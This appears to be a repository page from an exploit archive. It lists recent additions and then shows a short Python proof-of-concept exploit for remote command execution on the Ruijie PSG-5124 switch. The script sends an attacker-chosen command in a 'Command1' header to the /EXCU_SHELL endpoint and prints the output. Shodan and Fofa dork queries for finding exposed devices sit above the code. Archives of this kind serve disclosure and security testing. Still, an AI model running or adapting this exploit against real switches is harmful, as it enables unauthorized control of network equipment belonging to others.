2af1700331
10 changes to exploits/shellcodes/ghdb Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE) Ruijie Switch PSG-5124 26293 - Remote Code Execution (RCE) SolarView Compact 6.00 - Command Injection Viessmann Vitogate 300 2.1.3.0 - Remote Code Execution (RCE) GitLab CE/EE < 16.7.2 - Password Reset JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE) KiTTY 0.76.1.13 - 'Start Duplicated Session Hostname' Buffer Overflow KiTTY 0.76.1.13 - 'Start Duplicated Session Username' Buffer Overflow KiTTY 0.76.1.13 - Command Injection
55 lines
No EOL
1.8 KiB
Python
Executable file
55 lines
No EOL
1.8 KiB
Python
Executable file
#- Exploit Title: Ruijie Switch PSG-5124 26293 - Remote Code Execution (RCE)
|
|
#- Shodan Dork: http.html_hash:-1402735717
|
|
#- Fofa Dork: body="img/free_login_ge.gif" && body="./img/login_bg.gif"
|
|
#- Exploit Author: ByteHunter
|
|
#- Email: 0xByteHunter@proton.me
|
|
#- Version: PSG-5124(LINK SOFTWARE RELEASE:26293)
|
|
#- Tested on: PSG-5124(LINK SOFTWARE RELEASE:26293)
|
|
|
|
import http.client
|
|
import argparse
|
|
|
|
def send_request(ip, port, command):
|
|
headers = {
|
|
"Host": f"{ip}:{port}",
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
|
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
|
|
"Accept-Language": "en-US,en;q=0.5",
|
|
"Accept-Encoding": "gzip, deflate, br",
|
|
"DNT": "1",
|
|
"Connection": "close",
|
|
"Upgrade-Insecure-Requests": "1",
|
|
"Cmdnum": "1",
|
|
"Confirm1": "n",
|
|
"Content-Length": "0",
|
|
"Command1": command
|
|
}
|
|
|
|
try:
|
|
connection = http.client.HTTPConnection(f"{ip}:{port}")
|
|
connection.request("GET", "/EXCU_SHELL", headers=headers)
|
|
response = connection.getresponse()
|
|
|
|
|
|
print(f"Status Code: {response.status}")
|
|
print(response.read().decode('utf-8'))
|
|
connection.close()
|
|
|
|
except Exception as e:
|
|
print(f"Request failed: {e}")
|
|
|
|
if __name__ == "__main__":
|
|
|
|
parser = argparse.ArgumentParser(description='proof of concept for ruijie Switches RCE')
|
|
parser.add_argument('--ip', help='Target IP address', required=True)
|
|
parser.add_argument('--port', help='Port', required=True)
|
|
parser.add_argument('--cmd', help='Command', required=True)
|
|
args = parser.parse_args()
|
|
|
|
|
|
ip = args.ip
|
|
port = args.port
|
|
command = args.cmd
|
|
|
|
|
|
send_request(ip, port, command) |